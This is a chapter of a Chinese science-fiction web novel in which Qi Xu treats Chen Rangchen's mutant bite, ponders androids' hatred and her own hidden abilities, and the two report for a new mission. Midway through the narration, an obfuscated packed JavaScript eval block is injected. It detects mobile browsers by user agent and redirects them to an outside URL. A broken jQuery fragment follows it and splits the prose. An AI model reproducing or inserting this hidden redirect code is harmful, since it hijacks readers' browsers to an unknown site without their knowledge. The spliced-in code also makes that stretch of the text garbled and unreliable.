戚许抽出刀,红色细沙在她脚下漫开。
透过胸前的黑洞,戚许第一次看清仿生人的内部结构。
被她刺破的元件已经碎成几块,被破坏之后,红色正在从它内里抽离。戚许试着在脑海里还原它的模样,似乎是个表面有规则裂口的立方体。
陈让尘从柜子后面走出来,她的胳膊在滴血,啪嗒啪嗒,由远及近。
戚许站起身,手足无措地看着陈让尘的伤口。啮齿晶贝牙齿很锋利,咬得很深,陈让尘额头都是冷汗,嘴唇发白,脚步虚浮,看起来随时都会摔倒在地。
戚许赶忙站起身把她扶到沙发上坐下,按照她的指引找到医药箱。她想跟苏谅睿通讯,却被陈让尘拦下。
“被异种咬伤很容易被污染,一旦异化就完了。”戚许记得苏谅睿在医疗部跟她说过的话,严肃地看着陈让尘。
陈让尘伸出没受伤的手,颤抖着从医药箱里抓出一瓶溶液,一把塞在戚许怀里。
“用这个,”她尾音在颤,“浇在伤口上。”
戚许接过来扫了一眼,这并不是什么抑制污染的药剂,而是一种腐蚀人体的溶液。她要用这种方式阻断污染,在它扩散之前毁坏它的传播介质。
腐蚀人体,光是看着这几个字,戚许手指尖就开始发颤。
她看着陈让尘从沙发上扯过一条毯子叼在嘴里,没受伤的手用力按住嘴巴,对戚许点了点头。
戚许深深吸了口气,才发觉自己连呼吸都不大顺畅,她抓着陈让尘的手,捏紧瓶子,心一横,一股脑倒了上去。
陈让尘身体瞬间蜷缩起来,她痛苦的叫喊包裹在毯子里,只透出“呜呜”的闷声。
戚许跟着皱眉,她动作飞快,按照手环上搜来的教程给伤口消了毒,打了一针强效愈合剂之后,把伤口妥帖包好。
这一套事情做完,陈让尘已经把嘴唇咬出血了。
疼,太疼了。
受伤和愈合都痛,强效愈合剂正在发挥作用,陈让尘能感受到断裂的神经正在重新生长,新鲜的细胞堆叠起来组成粉嫩的肉芽,又痒又疼。
戚许眉头就没松开过,她小心翼翼把陈让尘的手放下,生怕动作大一点会让她迎来更猛烈的疼痛。
她回过头看,两个死掉的仿生人,地上一堆异种的尸体,笼子里还关着几只活着的啮齿晶贝。
整个屋子一片狼藉,这里实在不是一个养伤和睡觉的好地方。
“去我那吧。”这是戚许能想到的唯一的解决方案。
陈让尘扯下毯子,迷糊着睁开双眼,下意识摇摇头,想要拒绝。
“你就不怕晚上这些异种冲破笼门,跑出来对着你的脖子喀嚓来一口吗?”戚许语气不容拒绝。
陈让尘垂着眼睛没说话,戚许说的没错,这些异种之所以现在老老实实待在笼子里,是因为戚许在这。
至于这是为什么,她现在没心思追究。
她只知道,一旦戚许走了,它们的攻击性就会本能地显露出来,到时候就她这副连站起来都费劲的模样,根本就没办法跟它们对抗。明天一早,戚许再来的时候只能看到一地碎骨头。
她沉了口气,终究还是妥协了。
戚许麻利地拎上医药箱,带她上25楼,一进屋就把她小心安顿在床上。
陈让尘整个人浑浑噩噩,也没心思管其他的,几乎是躺下的瞬间就沉沉睡去。
戚许给陈让尘盖好被子,转身用剩下的毛毯之类的物件,在地上打了个地铺。
好不容易安顿好一切,她给吴廿和程虔发了消息,趁着夜色把陈让尘家里收拾好,异种和尸体都处理掉。
几乎瞬间她就得到了两人的回复。
戚许嘱咐了一句“今晚的事情保密,不要被人发现”之后关掉手环,长舒一口气。
戚许就在这里守着陈让尘,以防还有下一波仿生人带着异种来袭击她。
她躺在地上,听着陈让尘因为疼痛而不算平稳的呼吸,脑子里回荡着仿生人说的话。
“那你可要小心了,陈少校对下属……最残忍了。”
少校……
陈让尘在军队的时候已经是少校了吗?
戚许看过她的简历,她今年才28岁,在这之前就已经升到少校,应该算得上是军队里最年轻的少校了,按理说应该是个大有所为的年轻军官。
怪不得身手矫健,下令果断,而且在戚许第一次出现在她家门口的时候就表现出了超强防备心。
为什么现在会来特调局,当一个E级行动队队长?
年纪轻轻就能当上少校,她的能力肯定远超E级,是有人让她只能待在E级?还是她身上发生了什么意外?
这件事……为什么会牵扯到仿生人?到底是什么事会让仿生人对她有这么大的恶意?
戚许想不通。
她又想起下午陈让尘问她的问题,仿生人像机器还是像人类。
她的答案果然没错。
像人类。
机器是不会对人类产生仇恨的,人类才会。
她心下一沉,如果仿生人会对人类产生仇恨,那就说明,仿生人有自己的主观意识,某些情况下他们不会完全服从人类的命令,甚至会反过来攻击人类。
那仿生人到底和人类有什么区别?
黑暗中,戚许抬起自己的手放在眼前。
她到底是什么?
她能感觉得到,自己身体里就像住了另一个人,每当投入战斗的时候,另一个灵魂就会瞬间占据这具身体。
另一个灵魂能感应异种,热衷于狩猎,身手矫健,下手狠戾。她怀疑过这是原主的能力,但很快就否定了自己的答案。如果原主真的有这样的能力不会什么都没给她留下,让她白手起家。
另一个灵魂……到底是什么?
她想着,视线落在陈让尘身上。
陈让尘这么敏锐,一定察觉到了她的能力。
她不会无缘无故出现在14楼,异种也不会无缘无故就害怕她。
明天,陈让尘醒了之后,她一定会追问自己这些疑点,她该怎么回答?
戚许挠挠头,试图平息逐渐混乱的思绪。
她放下手,一根银白色的头发落在她手心。
那根头发很短,只有拇指长,是新长出来的白头发。
又是白头发。
她皱起眉头,借着窗外透进来的光盯着这根头发,它柔软有韧性,光泽饱满,比戚许见过的任何白头发都健康。
她觉得奇怪。
是从什么时候开始的呢?
她回忆着,好像是第一次在陈让尘家门口想要蹭饭的时候。
那天的确发生了很多不寻常的事情,第一次面对异种,第一次感受到了狩猎的快感,第一次用异能。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163934|178671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不知道白头发意味着什么,但她知道,有什么微妙的改变正在体内发生。
这样想着,一直到天蒙蒙亮的时候,戚许才在混乱的思绪中睡去。
第二天一早,陈让尘从床上惊醒。
她盯着不熟悉的环境和躺在床边的戚许缓了几秒钟,思绪才渐渐回笼。
想起昨天晚上发生的事情,她看向受伤的手臂,慢慢拆开纱布。强效愈合剂的效果显而易见,伤口已经长平了,新长出来的肉粉嫩嫩的,表面还不平滑,一用力还会有血珠从里面渗出来。
床头上摆着一杯水,她伸手去摸,还温着。
她轻轻端起杯子喝了一口,转头看戚许。
她没有枕头,两只手垫在脑后,睡得并不踏实。听到动静,她皱了皱眉,一骨碌从毯子里坐起来。
“醒了?”她站起来,趔趄了两步,往陈让尘这边走来,“怎么样,好了吗?”
戚许小心打开纱布,看到伤口基本愈合,也没有异化的表现,这才放下心来。
她的手环轻轻震了两下,是黄昏给她设定的闹钟。
看见手环,陈让尘神色警觉起来。
“你放心。”戚许关掉闹钟自顾自地说,“昨晚的情况我没有同步给黄昏,你的房间我是让吴廿和程虔去清理的,也告诉他们要保密了。”
她站起来,给陈让尘又添了一杯热水,说:“只要你不想说,没有人会知道昨天晚上发生了什么。”
陈让尘看着水杯里映出自己苍白的脸,把一句小声的“谢谢”埋进氤氲开来的热气里。
戚许洗漱完换好衣服,和陈让尘一起下楼,站在她门口等她换了衣服,一同出门坐车。
“你有必要这样寸步不离地跟着我吗?”陈让尘低声问。
“有必要。”戚许认真回答,“昨天晚上的情况多危险,要不是我及时赶到,你……”
戚许没继续说下去,她既不希望陈让尘追究她未卜先知,也不希望陈让尘把她当什么救命恩人,如果一定要有什么反应的话……只要夸夸她就好了。
陈让尘投其所好,顺从地拍拍她肩膀:“昨天多亏有你,聪明,敏锐,果断,枪法准。”
“!!!”戚许睁大眼睛一动不敢动,生怕自己多余的动作会破坏这个难忘的时刻。
陈让尘!竟然!
真的夸她了!!!
“你这是什么表情……”陈让尘看着她这副要哭不哭要笑不笑的模样,忍不住问。
戚许心口简直要放烟花了,她努力压制心中的喜悦,脸上只露出一个微笑:“没事。”
陈让尘“哦”了一声,车开进站台,戚许和陈让尘走上车。
她们就这样并肩站着,谁都没有说话。她们各有各的心思,各有各的秘密,谁都没有先戳破,默契地把藏在心里。
踩着8:59的时间走进特调局大楼,黄昏的声音紧随其后。
“行动队队长陈让尘,调查员戚许,打卡成功。”
“耶!”戚许小声欢呼,“踩点打卡!希望今天别再有任务了……”
陈让尘认同地点点头。
就像是故意跟她们俩做对似的,话音刚落,黄昏的声音就冷幽幽地在广播里响起。
“E0276小队请注意,联邦高层会议安保任务执行小队已变更为E0276小队,请在员工手环查看任务具体内容。”